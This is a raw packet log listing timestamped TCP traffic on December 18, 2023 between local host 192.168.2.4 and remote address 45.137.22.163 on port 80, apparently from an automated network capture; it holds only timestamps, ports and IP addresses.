Dec 18, 2023 14:31:27.565093994 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565104961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565134048 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565154076 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565212011 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565251112 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565264940 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565324068 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565367937 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565368891 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565431118 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565478086 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565499067 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565561056 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565572977 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565619946 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565639973 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565716028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565776110 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565793037 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565861940 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565876961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.565901995 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.565931082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566011906 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566046953 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.566054106 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566128969 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566164017 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.566164970 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566212893 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.566250086 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.567167997 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567230940 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567241907 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567267895 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.567327023 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567431927 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567467928 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.567549944 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567625046 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567667007 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.567722082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567770004 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.567811012 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.567887068 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568000078 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568023920 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568037987 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568123102 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568212986 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568249941 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568253040 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568319082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568356037 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568375111 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568439007 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568464041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568474054 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568550110 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568562984 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568589926 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568609953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568675995 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568712950 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568737984 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568780899 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568818092 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568841934 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568880081 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568917990 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.568965912 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.568978071 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569015980 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569045067 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569106102 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569139957 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569164038 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569227934 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569267035 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569286108 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569353104 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569392920 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569437981 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569451094 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569484949 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569514990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569578886 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569591999 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569617033 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569669008 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569709063 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569863081 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569910049 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.569950104 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.569968939 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570020914 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570060015 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570061922 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570127010 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570162058 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570197105 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570238113 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570276022 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570281982 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570322990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570357084 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570377111 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570475101 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570530891 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570544004 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570660114 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570702076 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570713997 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570756912 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570797920 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570801973 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570858002 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570899963 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.570913076 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570960045 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.570997953 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571033001 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571075916 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571115971 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571162939 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571172953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571225882 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571261883 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571278095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571312904 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571350098 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571369886 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571432114 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571470022 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571475983 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571543932 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571580887 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571585894 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571656942 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571697950 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571717024 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571769953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571806908 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571820974 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571880102 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571918011 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.571938038 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.571984053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572016954 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.572021961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572093964 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572138071 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.572153091 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572208881 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572244883 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.572251081 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.572261095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.622865915 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.801923990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.801938057 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.801970005 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802007914 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802011967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802053928 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802067041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802115917 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802155972 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802172899 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802190065 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802228928 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802229881 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802242041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802253008 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802268982 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802277088 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802282095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802310944 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802366972 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802380085 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802391052 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802402020 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802412033 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802423954 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802560091 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802572012 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802582979 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802596092 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802609921 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802625895 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802637100 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802649021 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802670956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802691936 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802691936 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802728891 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802731991 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802745104 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802772045 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802774906 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802800894 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802839041 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802874088 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802886009 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802896976 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802908897 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802916050 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802918911 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802938938 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802957058 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.802978039 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.802983999 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803000927 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803040028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803067923 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803078890 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803086042 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803109884 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803127050 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803143978 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803154945 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803191900 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803221941 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803235054 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803246975 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803277969 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803286076 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803291082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803320885 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803320885 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803345919 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803364038 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803364992 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803388119 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803405046 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803436041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803478003 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803508043 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803561926 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803572893 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803601027 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803648949 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803695917 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803736925 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803790092 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803802967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803834915 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.803860903 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803956985 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803968906 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.803994894 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804014921 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804025888 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804056883 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804064989 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804114103 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804126024 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804153919 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804161072 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804173946 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804187059 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804200888 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804231882 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804234982 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804248095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804256916 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804275036 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804287910 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804300070 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804310083 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804322004 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804332972 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804363966 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804429054 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804441929 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804456949 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804470062 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804481030 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804483891 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804512024 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804517984 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804531097 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804563046 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804574013 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804584026 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804615021 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804650068 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804661989 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804708004 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804796934 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804809093 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804840088 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804843903 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804907084 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804949045 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804950953 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.804960012 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804972887 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.804997921 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.805027008 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805038929 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805049896 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805059910 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805074930 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.805105925 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.805840969 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805854082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805862904 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805880070 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805901051 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.805921078 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805928946 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.805947065 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805958986 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.805985928 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806001902 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806014061 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806042910 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806061983 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806075096 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806111097 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806140900 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806170940 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806184053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806210995 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806257963 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806269884 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806281090 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806291103 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806297064 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806303978 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806314945 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806366920 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806380033 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806408882 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806408882 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806421041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806451082 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806735992 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806747913 CET	80	49737	45.137.22.163	192.168.2.4
